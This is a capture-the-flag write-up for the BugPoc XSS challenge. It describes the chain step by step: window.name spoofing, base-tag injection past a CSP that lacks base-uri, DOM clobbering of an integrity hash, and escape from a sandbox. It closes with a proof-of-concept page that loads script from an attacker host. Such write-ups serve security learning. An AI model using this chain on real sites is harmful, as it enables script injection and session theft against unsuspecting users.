BugPoc XSS ctf challenge write-up

Navjeet
3 min readNov 10, 2020

--

Introduction

This is a write-up for BugPoc XSS CTF https://wacky.buggywebsite.com which was sponsored by amazon .

TL;DR

  • frame.html page was in iframe or not ,it was checked using window.name which can be spoofed
  • csp blocked event handlers and lack of missing base-uri allowed me to change base URL using html injection which leads to load of external JavaScript attacker controlled
  • to ensure javascript file content isn’t modified integrity was added which was bypassed using dom clobbering
  • alert() and other popup were disabled due iframe sandbox . Iframe sandbox was bypassed as it allowed allow-same-origin and allow-scripts which makes the sandbox useless.

I Started by browsing the challenge site on index page there was embedded iframe and Script.js

  • Script.js
// get the user input and replace <>%*& with empty stringdocument.getElementById("txt").onkeyup = function(){
this.value = this.value.replace(/[&*<>%]/g, '');
};
// after doing filtering user input value was attached to embedded frame parameter.

document.getElementById('btn').onclick = function(){
val = document.getElementById('txt').value;
document.getElementById('theIframe').src = '/frame.html?param='+val;
};

I didn’t find anything interesting on index page so I moved on to embedded page .

https://wacky.buggywebsite.com/frame.html?param=<abc>test

the above param value was reflected in <title> tag unsanitized so it was possible to exec XSS if there wasn’t CSP as it blocked all event handler and only the script with nonce were executed so far I had only html injection.

https://wacky.buggywebsite.com/frame.html?param=<title><img src=x onerror=alert(1)>

Next I used csp-evaluator.withgoogle.com to check for weak csp policy it gave me alert that base-uri was missing which means if attacker inject <base> tag he can override base url to attacker host for relative urls.

<base href="https://evil.com"><img src=/file.png>Above file.png would be fetched from evil.com instead of site.com
changing base url to evil.com

I started reviewing the frame.html The first task was to bypass the error message that it could only be seen from iframe .

// verify we are in an iframe  
if (window.name == 'iframe') {
}
else {
The page can only be viewed from iframe
}

So it was using window.name to check which can be bypassed as window.name is used to assign the name of current window.

Victim visits attacker.com


<script>
//attacker.com sets the window name and redirect to challenge
window.name = "iframe";
location.href = "https://wacky.buggywebsite.com/frame.html?param=test";
</script>

After bypassing the above iframe if block was creating iframe with sandbox which only allowed loading scripts and embedded frame was treated in same origin And later on a script tag was added to that frame having the src as relative URL and integrity attribute which ensured the loaded JavaScript file isn’t manipulated .

if window.name == 'name'
{
if (fileIntegrity.value) {

// create a sandboxed iframe
analyticsFrame = document.createElement('iframe');
analyticsFrame.setAttribute('sandbox', 'allow-scripts allow-same-origin');
analyticsFrame.setAttribute('class', 'invisible');
document.body.appendChild(analyticsFrame);
// securely add the analytics code into iframe
script = document.createElement('script');
script.setAttribute('src', 'files/analytics/js/frame-analytics.js');
script.setAttribute('integrity', 'sha256-'+fileIntegrity.value);
script.setAttribute('crossorigin', 'anonymous');
analyticsFrame.contentDocument.body.appendChild(script);

}
}

So using <base> tag I changed based url which allowed me to load the above relative script “files/analytics/js/frame-analytics.js” from attacker controlled site.

But it didn’t load due to the SRI . To bypass the SRI I used dom clobbering technique to modify the fileIntegrity.value hash to attacker hash

</title><base href="evil.com"><input value="yourhash" id="fileIntegrity">

After bypassing the SRI check the next was iframe sandbox which only allowed javascript without popup and treat embedded page in same origin .But goal was to popup alert(document.domain) . Since sandbox allowed both JavaScript exec and treat it as same origin so it made it useless I executed alert using window.parent.alert(document.domain);

Final POC

index.php

<script> 
window.name = 'iframe';
location.href= 'https://wacky.buggywebsite.com/frame.html?param=</title><base href=https://yourhost/><i
nput id="fileIntegrity" value=<?php echo urlencode(base64_encode(hash("sha256",file_get_contents("https://yourhost/files/analytics/js/frame-analytics.js"),true))); ?> >';

</script>

frame-analytics.js

parent.window.alert(document.domain);

--

--

No responses yet